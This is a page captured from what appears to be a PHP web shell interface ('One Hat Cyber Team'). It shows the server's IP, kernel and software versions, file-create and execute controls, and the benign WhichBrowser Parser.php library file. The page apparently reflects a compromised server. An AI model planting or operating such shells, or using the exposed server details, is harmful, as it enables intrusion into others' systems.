⚝
One Hat Cyber Team
⚝
Your IP:
172.22.0.1
Server IP:
151.80.20.34
Server:
Linux 794f04d97d5e 5.15.0-143-generic #153-Ubuntu SMP Fri Jun 13 19:10:45 UTC 2025 x86_64
Server Software:
Apache/2.4.62 (Debian)
PHP Version:
8.2.28
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
html
/
vendor
/
whichbrowser
/
parser
/
src
/
View File Name :
Parser.php
<?php namespace WhichBrowser; use WhichBrowser\Model\Main; class Parser extends Main { use Cache; /** * Create a new object that contains all the detected information * * @param array|string $headers Optional, an array with all of the headers or a string with just the User-Agent header * @param array $options Optional, an array with configuration options */ public function __construct($headers = null, $options = []) { parent::__construct(); if (!is_null($headers)) { $this->analyse($headers, $options); } } /** * Analyse the provided headers or User-Agent string * * @param array|string $headers An array with all of the headers or a string with just the User-Agent header */ public function analyse($headers, $options = []) { $o = $options; if (is_string($headers)) { $h = [ 'User-Agent' => $headers ]; } else { if (isset($headers['headers'])) { $h = $headers['headers']; unset($headers['headers']); $o = array_merge($headers, $options); } else { $h = $headers; } } if ($this->analyseWithCache($h, $o)) { return; } $analyser = new Analyser($h, $o); $analyser->setdata($this); $analyser->analyse(); } }